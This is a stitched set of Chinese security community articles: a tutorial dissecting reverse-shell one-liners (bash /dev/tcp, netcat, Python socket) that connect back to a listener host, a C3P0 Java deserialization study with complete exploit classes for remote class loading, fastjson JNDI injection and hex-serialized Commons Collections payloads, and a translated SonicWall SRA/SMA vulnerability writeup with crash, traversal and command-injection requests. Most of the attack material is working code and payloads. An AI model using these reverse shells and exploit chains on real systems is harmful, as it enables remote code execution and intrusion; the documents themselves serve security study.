好了，基本知识说完了，下面我们就探讨一下困扰了我一天的“>&”究竟是什么意思。首先，我在查资料的过程中虽然没有查到“>&”究竟是什么，但是有一个跟它长得很像的符号却被我发现了，那就是“&>”，它和“2>&1”是一个意思，都是将标准错误输出合并到标准输出中。难道“>&”和“&>”之间有什么不为人知的交易？让我们来动手测试一下。
从图片中我们可以看到，在这里">&"和“&>”作用是一样的，都是将标准错误输出定向到标准输出中。
既然如此，那么我们就把他俩互换试试看，究竟结果一不一样。
我在虚拟机里执行
bash -i >& /dev/tcp/10.0.42.1/1234
结果如下图所示，虽然命令和结果都在我本机上显示出来了，但实际上命令并不是在本机上输入的，而是只能在虚拟机里面输入，然后命令和结果都在我本机上显示。
我们再执行
bash -i &> /dev/tcp/10.42.0.1/1234
效果是一样的，就不上图了。所以由实践可知，“>&”和我们常见的“&>”是一个意思，都是将标准错误输出重定向到标注输出。
好了，一个问题已经解决，下一个就是“0>&1”。我们都知道，标准输入应该是“0<”而不是“0>”，难道这个跟上一个问题样都是同一个命令的不同写法？让我们试一下“0<&1”，看看会发生什么。
在上图中我们得到了一个交互的shell。果然是这样！“0>&1”和“0<&1”是一个意思，都是将标准输入重定向到标准输出中。使用
bash -i &> /dev/tcp/10.42.0.1 0<&1
同样能反弹一个可交互的shell。
综上所述，这句命令的意思就是，创建一个可交互的bash和一个到10.42.0.1:1234的TCP链接，然后将bash的输入输出错误都重定向到在10.42.0.1:1234监听的进程。
**NetCat**
如果目标主机支持“-e”选项的话，我们就可以直接用
nc -e /bin/bash 10.42.0.1 1234
但当不支持时，我们就要用到Linux神奇的管道了。我们可以在自己机器上监听两个端口，
nc -l -p 1234 -vv
nc -l -p 4321 -vv
然后在目标主机上执行以下命令：
nc 10.42.0.1 1234 | /bin/bash | nc 10.42.0.1 4321
这时我们就可以在1234端口输入命令，在4321端口查看命令的输出了。
管道“|”可以将上一个命令的输出作为下一个命令的输入。所以上面命令的意思就是将10.42.0.1:1234传过来的命令交给/bin/bash执行，再将执行结果传给10.42.0.1:4321显示。
**Python**
python -c
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.42.0.1",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);'
python
-c表示执行后面的代码。首先引入了三个库socket,subprocess,os，这三个库后面都要用到，然后创建了一个使用TCP的socket，接着执行connect函数连接到黑客主机所监听的端口。接着执行os库的dup2函数来进行重定向。dup2传入两个文件描述符，fd1和fd2（fd1是必须存在的），如果fd2存在，就关闭fd2，然后将fd1代表的那个文件强行复制给fd2，fd2这个文件描述符不会发生变化，但是fd2指向的文件就变成了fd1指向的文件。
这个函数最大的作用是重定向。三个dup2函数先后将socket重定向到标准输入，标准输入，标准错误输出。最后建立了一个子进程,传入参数“-i”使bash以交互模式启动。这个时候我们的输入输出都会被重定向到socket，黑客就可以执行命令了。
我们可以看到成功的弹回了一个shell。
**总结**
在对信息安全的学习中，我们要时刻保持好奇心，多问为什么，要多去探究根本原理，而不是只会使用工具和死记硬背，遇到不会又搜不到答案的问题，我们要大胆猜想，小心求证，只有这样我们才能不断的进步，在信息安全的领域越走越远。 | 社区文章 |
# 前言
C3P0是一个开源的JDBC连接池，它实现了数据源和JNDI绑定，支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate，Spring等。
JDBC是Java DataBase Connectivity的缩写，它是Java程序访问数据库的标准接口。
使用Java程序访问数据库时，Java代码并不是直接通过TCP连接去访问数据库，而是通过JDBC接口来访问，而JDBC接口则通过JDBC驱动来实现真正对数据库的访问。
连接池类似于线程池，在一些情况下我们会频繁地操作数据库，此时Java在连接数据库时会频繁地创建或销毁句柄，增大资源的消耗。为了避免这样一种情况，我们可以提前创建好一些连接句柄，需要使用时直接使用句柄，不需要时可将其放回连接池中，准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。
# 环境搭建
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
# 关于C3P0攻击链的利用方式
1、URLClassLoader远程类加载
2、JNDI注入
3、利用HEX序列化字节加载器进行反序列化攻击
## URLClassLoader
漏洞点在`PoolBackedDataSourceBase`
`readobject`
private void readObject( ObjectInputStream ois ) throws IOException, ClassNotFoundException
{
short version = ois.readShort();
switch (version)
{
case VERSION:
// we create an artificial scope so that we can use the name o for all indirectly serialized objects.
{
Object o = ois.readObject();
if (o instanceof IndirectlySerialized) o = ((IndirectlySerialized) o).getObject();
this.connectionPoolDataSource = (ConnectionPoolDataSource) o;
}
this.dataSourceName = (String) ois.readObject();
// we create an artificial scope so that we can use the name o for all indirectly serialized objects.
{
Object o = ois.readObject();
if (o instanceof IndirectlySerialized) o = ((IndirectlySerialized) o).getObject();
this.extensions = (Map) o;
}
this.factoryClassLocation = (String) ois.readObject();
this.identityToken = (String) ois.readObject();
this.numHelperThreads = ois.readInt();
this.pcs = new PropertyChangeSupport( this );
this.vcs = new VetoableChangeSupport( this );
break;
default:
throw new IOException("Unsupported Serialized Version: " + version);
}
}
注意到
这里会先判断对象o是否是`IndirectlySerialized`类的对象或者是其子类的对象
调用`getobject`后强转换对象为`ConnectionPoolDataSource`
但是该接口并不能反序列化
去看下入口点`writeobject`处的写法
`writeobject`
看下调用返回的对象
是一个`ReferenceSerialized`的构造方法
举个不是很恰当的例子
`ReferenceSerialized`是“加强版”的`ConnectionPoolDataSource`
也就是说在序列化时，实际上的类进行了转换，`ConnectionPoolDataSource`->`ReferenceSerialized`
再回到`readobject`调用的`IndirectlySerialized.getobject`
位于`ReferenceIndirector`
`getObject`
public Object getObject() throws ClassNotFoundException, IOException
{
try
{
Context initialContext;
if ( env == null )
initialContext = new InitialContext();
else
initialContext = new InitialContext( env );
Context nameContext = null;
if ( contextName != null )
nameContext = (Context) initialContext.lookup( contextName );
return ReferenceableUtils.referenceToObject( reference, name, nameContext, env );
}
catch (NamingException e)
{
//e.printStackTrace();
if ( logger.isLoggable( MLevel.WARNING ) )
logger.log( MLevel.WARNING, "Failed to acquire the Context necessary to lookup an Object.", e );
throw new InvalidObjectException( "Failed to acquire the Context necessary to lookup an Object: " + e.toString() );
}
}
这里是对环境变量上下文进行加载
我们关注return这里`ReferenceableUtils.referenceToObject`，跟进
public static Object referenceToObject( Reference ref, Name name, Context nameCtx, Hashtable env)
throws NamingException
{
try
{
String fClassName = ref.getFactoryClassName();
String fClassLocation = ref.getFactoryClassLocation();
ClassLoader defaultClassLoader = Thread.currentThread().getContextClassLoader();
if ( defaultClassLoader == null ) defaultClassLoader = ReferenceableUtils.class.getClassLoader();
ClassLoader cl;
if ( fClassLocation == null )
cl = defaultClassLoader;
else
{
URL u = new URL( fClassLocation );
cl = new URLClassLoader( new URL[] { u }, defaultClassLoader );
}
Class fClass = Class.forName( fClassName, true, cl );
ObjectFactory of = (ObjectFactory) fClass.newInstance();
return of.getObjectInstance( ref, name, nameCtx, env );
}
catch ( Exception e )
{
if (Debug.DEBUG)
{
//e.printStackTrace();
if ( logger.isLoggable( MLevel.FINE ) )
logger.log( MLevel.FINE, "Could not resolve Reference to Object!", e);
}
NamingException ne = new NamingException("Could not resolve Reference to Object!");
ne.setRootCause( e );
throw ne;
}
}
我们可以控制`fClassLocation`，最后通过`URLClassLoader`并初始化该实例来实现恶意代码执行
### Gadget
PoolBackedDataSourceBase#readObject->
ReferenceIndirector#getObject->
ReferenceableUtils#referenceToObject->
of(ObjectFactory)#getObjectInstance
### EXP
这里有个`getReference`方法，直接返回一个`Reference`对象
我们可以通过该方法直接构造对象
这里我们获取`ConnectionPoolDataSource`类的私有属性，因为反序列化的是该类对象
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
Field connectionPoolDataSourceField = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
connectionPoolDataSourceField.setAccessible(true);
按照`getReference`方法再重写一个方法
public class C3P01 {
public static class C3P0 implements ConnectionPoolDataSource, Referenceable{
@Override
public Reference getReference() throws NamingException {
return new Reference("Calc","Calc","http://127.0.0.1:8002/");
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
最后是两个常规方法，序列化和反序列化，但这里我们还需要把构造好的`connectionPoolDataSource`替换成我们本地的Calc
所以这里再通过
connectionPoolDataSourceField.set(poolBackedDataSourceBase,lp); //将对象进行修改
并把它写在序列化入口，然后在反序列化
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class C3P01 {
public static class C3P0 implements ConnectionPoolDataSource, Referenceable{
@Override
public Reference getReference() throws NamingException {
return new Reference("Calc","Calc","http://127.0.0.1:8002/");
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
public static void unserialize(byte[] bytes) throws Exception{
try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bain)){
oin.readObject();
}
}
public static byte[] serialize(ConnectionPoolDataSource lp) throws Exception{
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
Field connectionPoolDataSourceField = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
connectionPoolDataSourceField.setAccessible(true);
connectionPoolDataSourceField.set(poolBackedDataSourceBase,lp);
try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout)){
oout.writeObject(poolBackedDataSourceBase);
return baout.toByteArray();
}
}
public static void main(String[] args) throws Exception{
C3P0 exp = new C3P0();
byte[] bytes = serialize(exp);
unserialize(bytes);
}
}
calc
import java.io.IOException;
public class Calc {
public Calc() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
本白一开始的傻帽操作，把文件放包下了，一直不能弹计算器，郁闷(真傻
## JNDI注入
`JndiRefForwardingDataSource`的`dereference()`方法中有look，并且`jndiName`通过`getJndiName()`获取，可造成JNDI注入
先看下`getJnDIName`
public Object getJndiName()
{ return (jndiName instanceof Name ? ((Name) jndiName).clone() : jndiName /* String */); }
判断是否是name类型，不是则返回String类型
继续向上找可以利用的点
`inner()`
找到`setLoginRimeout`,形参为`int`型
下面就是`WrapperConnectionPoolDataSource`和`JndiRefConnectionPoolDataSource`的同名函数
在`JndiRefConnectionPoolDataSource`，`setLoginTimeout`，因为`wcpds`是`WrapperConnectionPoolDataSource`类下的，所以这里会调用`WrapperConnectionPoolDataSource`下的同名方法
这里会调用`getNestedDataSource()`对象
跟进后发现其实就是`JndiRefForwardingDataSource`
在下一步就知道到这里
后面就会去加载我们传入的`jndiName`
### Gadget
JndiRefConnectionPoolDataSource#setLoginTime ->
WrapperConnectionPoolDataSource#setLoginTime ->
JndiRefForwardingDataSource#setLoginTimeout ->
JndiRefForwardingDataSource#inner ->
JndiRefForwardingDataSource#dereference() ->
Context#lookup
### EXP
import com.alibaba.fastjson.JSON;
public class JNDI {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +
"\"jndiName\":\"ldap://10.6.42.156:8085/NpgoGBfd\",\"LoginTimeout\":\"1\"}";
JSON.parse(payload);
}
}
## HEX序列化
在`WrapperConnectionPoolDataSource`的构造方法下
调用了`C3P0ImplUtils.parseUserOverridesAsString`
跟进
public static Map parseUserOverridesAsString( String userOverridesAsString ) throws IOException, ClassNotFoundException
{
if (userOverridesAsString != null)
{
String hexAscii = userOverridesAsString.substring(HASM_HEADER.length() + 1, userOverridesAsString.length() - 1);
byte[] serBytes = ByteUtils.fromHexAscii( hexAscii );
return Collections.unmodifiableMap( (Map) SerializableUtils.fromByteArray( serBytes ) );
}
else
return Collections.EMPTY_MAP;
}
当`userOverridesAsString`不为空进入if
首先会用`substring`对`userOverridesAsString`进行截取，将`HASM_HEADER`头和最后一位的;扣掉
而`userOverridesAsString`是一个私有的常量
private final static String HASM_HEADER = "HexAsciiSerializedMap";
将十六进制转成字节数组，最后再强转为`map`对象
跟进`fromByteArray
public static Object fromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
{
Object out = deserializeFromByteArray( bytes );
if (out instanceof IndirectlySerialized)
return ((IndirectlySerialized) out).getObject();
else
return out;
}
最后到
public static Object deserializeFromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
{
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes));
return in.readObject();
}
进行反序列化
### Gadget
WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource->
C3P0ImplUtils#parseUserOverridesAsString->
SerializableUtils#fromByteArray->
SerializableUtils#deserializeFromByteArray->
SerializableUtils
### EXP
这里用CC4和CC6举例
import com.alibaba.fastjson.JSON;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.beans.PropertyVetoException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class C3P0Hex_CC6 {
public static Map exp() throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap1=new HashMap<>();
LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"Atkx");
HashMap<Object,Object> hashMap2=new HashMap<>();
hashMap2.put(tiedMapEntry,"bbb");
lazyMap.remove("Atkx");
Class clazz=LazyMap.class;
Field factoryField= clazz.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
return hashMap2;
}
static void addHexAscii(byte b, StringWriter sw)
{
int ub = b & 0xff;
int h1 = ub / 16;
int h2 = ub % 16;
sw.write(toHexDigit(h1));
sw.write(toHexDigit(h2));
}
private static char toHexDigit(int h)
{
char out;
if (h <= 9) out = (char) (h + 0x30);
else out = (char) (h + 0x37);
//System.err.println(h + ": " + out);
return out;
}
//将类序列化为字节数组
public static byte[] tobyteArray(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o);
return bao.toByteArray();
}
//字节数组转十六进制
public static String toHexAscii(byte[] bytes)
{
int len = bytes.length;
StringWriter sw = new StringWriter(len * 2);
for (int i = 0; i < len; ++i)
addHexAscii(bytes[i], sw);
return sw.toString();
}
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException, ClassNotFoundException {
String hex = toHexAscii(tobyteArray(exp()));
System.out.println(hex);
//Fastjson<1.2.47
// String payload = "{" +
// "\"1\":{" +
// "\"@type\":\"java.lang.Class\"," +
// "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
// "}," +
// "\"2\":{" +
// "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
// "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
// "}" +
// "}";
//低版本利用
String payload = "{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}";
JSON.parse(payload);
}
}
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class C3P0Hex_CC4 {
public static PriorityQueue CC4() throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesclass = templates.getClass();
//name字段
Field nameField = templatesclass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Atkx");
//恶意bytecode字段
Field bytecodeFiled = templatesclass.getDeclaredField("_bytecodes");
bytecodeFiled.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("H://Code/JavaSecurityCode/cc3/target/classes/calc.class"));
byte[][] codes = {code};
bytecodeFiled.set(templates,codes);
//工厂类字段
Field tfactoryField = templatesclass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl() {
});
//调用transformer任意方法的接口,此处通过InstantiateTransformer代替InvokerTransformer
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
new Class[]{ Templates.class},new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
return priorityQueue;
}
static void addHexAscii(byte b, StringWriter sw)
{
int ub = b & 0xff;
int h1 = ub / 16;
int h2 = ub % 16;
sw.write(toHexDigit(h1));
sw.write(toHexDigit(h2));
}
private static char toHexDigit(int h)
{
char out;
if (h <= 9) out = (char) (h + 0x30);
else out = (char) (h + 0x37);
//System.err.println(h + ": " + out);
return out;
}
//将类序列化为字节数组
public static byte[] tobyteArray(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o);
return bao.toByteArray();
}
//字节数组转十六进制
public static String toHexAscii(byte[] bytes)
{
int len = bytes.length;
StringWriter sw = new StringWriter(len * 2);
for (int i = 0; i < len; ++i)
addHexAscii(bytes[i], sw);
return sw.toString();
}
public static void main(String[] args) throws Exception {
String hex = toHexAscii(tobyteArray(CC4()));
System.out.println(hex);
//Fastjson<1.2.47
// String payload = "{" +
// "\"1\":{" +
// "\"@type\":\"java.lang.Class\"," +
// "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
// "}," +
// "\"2\":{" +
// "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
// "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
// "}" +
// "}";
//低版本利用
String payload = "{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}";
JSON.parse(payload);
}
}
当然也可以使用CB链或其他链子
也可以通过加载反序列化对象来执行
java -jar .\ysoserial-all.jar CommonsCollections6 "open -a Calculator" > calc.ser
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
public class C3P0_all {
public static void main(String[] args) throws IOException, ClassNotFoundException {
InputStream in = new FileInputStream("L:\\JavaSecurity\\ysoserial-0.0.6\\calc.ser");
byte[] data = toByteArray(in);
in.close();
String HexString = bytesToHexString(data, data.length);
System.out.println(HexString);
}
public static byte[] toByteArray(InputStream in) throws IOException {
byte[] classBytes;
classBytes = new byte[in.available()];
in.read(classBytes);
in.close();
return classBytes;
}
public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);
for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}
得到十六进制，直接去执行即可
## 不出网利用
当目标机器不出网，且没有fastjson相关依赖时，C3P0该如何利用？
环境
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.15</version>
</dependency>
漏洞点位于`org.apache.naming.factory.BeanFactory`
只有一个方法`getObjectInstance`
回顾第一个链子URL，会发现最后调用的就是该方法，而不出网的利用方式就是通过本地类的加载来进行EL表达式注入
将URL链子执行的地方改成EL表达式即可，其余不用变
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class C3P0_Local {
public static class C3P0 implements ConnectionPoolDataSource, Referenceable {
@Override
public Reference getReference() throws NamingException {
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "faster=eval"));
resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));
return resourceRef;
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
public static void unserialize(byte[] bytes) throws Exception{
try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bain)){
oin.readObject();
}
}
public static byte[] serialize(ConnectionPoolDataSource lp) throws Exception{
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
Field connectionPoolDataSourceField = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
connectionPoolDataSourceField.setAccessible(true);
connectionPoolDataSourceField.set(poolBackedDataSourceBase,lp);
try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout)){
oout.writeObject(poolBackedDataSourceBase);
return baout.toByteArray();
}
}
public static void main(String[] args) throws Exception{
C3P01.C3P0 exp = new C3P01.C3P0();
byte[] bytes = serialize(exp);
unserialize(bytes);
}
} | 社区文章 |
# SonicWall SRA及SMA多个漏洞分析
|
##### 译文声明
本文是翻译文章，文章原作者 scrt，文章来源：blog.scrt.ch
原文地址：<https://blog.scrt.ch/2020/02/11/sonicwall-sra-and-sma-vulnerabilties/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
去年[Orange Tsai](https://twitter.com/orange_8361)在常见的SLL
VPN产品中找到了一些漏洞，攻击者可以利用这些漏洞渗透本应该被保护的网络，涉及到的厂商包括Palo Alto、Fortinet以及Pulse Secure。
我认为在安全相关设备中找到漏洞特别具有讽刺意味，然而多年以来，研究人员已经在相关领域发现过不少漏洞。
在阅读Orange的研究文章时，我看到有人问其他厂商是否受到影响，因此我觉得可以尝试寻找其他VPN厂商设备的漏洞。当时我随机选择了SonicWall产品，该厂商最近主动[表示](https://www.sonicwall.com/support/product-notification/security-advisory-sonicwall-not-affected-by-critical-remote-code-execution-vulnerability-cve-2019-1579/190805112136807/)相关产品不受Palo Alto漏洞影响。
## 0x01 环境配置
我对SonicWall产品并不了解，因此先搜索哪些属于SSL-VPN设备，找到了Secure Remote
Access（SRA）解决方案。幸运的是，我们可以下载该设备的虚拟镜像展开研究。我们的研究成果基于8.1.0.7-22sv版，该版本似乎已经过时，但我无法通过公开渠道找到更新版本。我认为这款设备实际上已经被SMA设备替代（或者正逐步被替代中），而后者也存在本文分析的漏洞。
## 0x02 漏洞分析
我首先研究的是SSL-VPN的web接口，该接口在`cgi-bin`目录中包含多个CGI文件。这些文件可以被远程调用，是运行在Linux系统上的32位ELF程序。我希望能通过分析这些文件，理解设备如何处理身份认证过程，找到身份认证系统中的漏洞，或者澄清是否可以不经过认证调用某些文件。
其中我找到了一个`supportLogin`程序，该程序用来处理某些类型的身份认证。其中我找到了一些漏洞，攻击者在通过身份认证之前就可以利用这些漏洞，但需要设备启用“Virtual
Assist”模块。实话实说，我并不清楚这是否为常用的一个模块。
### CVE-2019-7481
第一个漏洞为SQL注入漏洞，位于`customerTID`参数中。目标Web应用使用的是SQLite数据库，并且使用了sqlite3的`printf`函数，根据用户提供的输入构造了几个查询语句。在大多数情况下，服务端使用[`%q`](https://www.sqlite.org/printf.html#percentq)格式化符号来转义引号。然而在某些情况下服务端使用的是`%s`，如下图所示。此时这里不存在任何转义操作，因此存在一个SQL注入点。
这样将导致设备出现SQL盲注漏洞，可以被远程利用。这里最有趣的是，这个SQLite数据库中似乎存放着身份认证用户的会话标识符，表名为`Sessions`。如果利用时机妥当，攻击者可以获得各种级别的SSL-VPN访问权限。
该漏洞对应的编号为[CVE-2019-7481](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-7481)。
### CVE-2019-7482
我在同一个CGI中找到了第二个漏洞，可以实现任意代码执行。这是一个缓冲区溢出漏洞，位于服务端解析浏览器`user-agent`信息的过程中。更具体一些，当攻击者将`user-agent`伪装为`Safari`时就会触发溢出，此时服务端会调用`libSys.so`库中的`getSafariVersion`函数。
`getSafariVersion`函数代码片段如下所示：
这里攻击者可以使用`memcpy`函数来溢出本地缓冲区。SRA中并没有部署stack
canary（金丝雀）机制，因此攻击者可以轻松覆盖EIP、使用rop链来执行命令。SMA中部署了一些漏洞利用缓解措施，因此如果想利用该漏洞，可能还需要泄露某些信息，或者使用我并不熟练的pwn技巧。
无论如何，我们可以使用如下请求导致CGI崩溃：
GET /cgi-bin/supportLogin HTTP/1.1
Host: 10.1.0.100
User-Agent: plop Mac OS X Safari Version/12345678901234567890123456789012345678901234AAAABBBBCCCC lol Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
目标程序会自动重启，因此攻击者可以不断重复利用该漏洞，可以用来暴力破解libc的基址。在实际测试中，一般不超过100次尝试，我就能在目标设备上利用`nobody`权限执行任意命令。
该漏洞对应的编号为[CVE-2019-7482](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-7482)。
### CVE-2019-7483
第3个漏洞较为鸡肋，是一个预身份认证目录遍历漏洞，只能用来测试某个文件是否存在。从理论上讲，如果目标文件遵循某种结构，那么就可以用来读取部分内容。该漏洞对应的编号为[CVE-2019-7483](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-7483)。
在实际场景中，我认为该漏洞可以用来判断目标设备是否存在前2个漏洞，因为这几个漏洞可能会被同时修复。从本质上讲，如果目标设备需要一定时间才能处理如下请求，则代表该设备存在漏洞：
/cgi-bin/handleWAFRedirect?repeated=1&hdl=../etc/doesntexist
如果请求实际存在的文件，则处理时间应该短一些：
/cgi-bin/handleWAFRedirect?repeated=1&hdl=../etc/passwd
### 其他漏洞
在研究过程中我还发现了其他3个漏洞，这些漏洞需要攻击者具备有效账户才能利用，分别如下：
* CVE-2019-7484：SQL注入漏洞
* CVE-2019-7485：缓冲区溢出漏洞
* CVE-2019-7486：代码注入漏洞
前两个漏洞与前面描述的漏洞非常相似，最后一个漏洞为比较简单的命令注入漏洞，但需要管理员账户才能利用，利用方式如下：
POST /cgi-bin/viewcacert HTTP/1.1
Host: 192.168.200.1
[...]
Content-Length: 67
buttontype=delete&CERT=newcert-3'--'
ping -c 4 192.168.200.123
ls
## 0x03 总结
我于2019年6月5日向SonicWall团队反馈了这些漏洞，官方在2019年12月17日公布了[安全公告](https://psirt.global.sonicwall.com/vuln-list)。
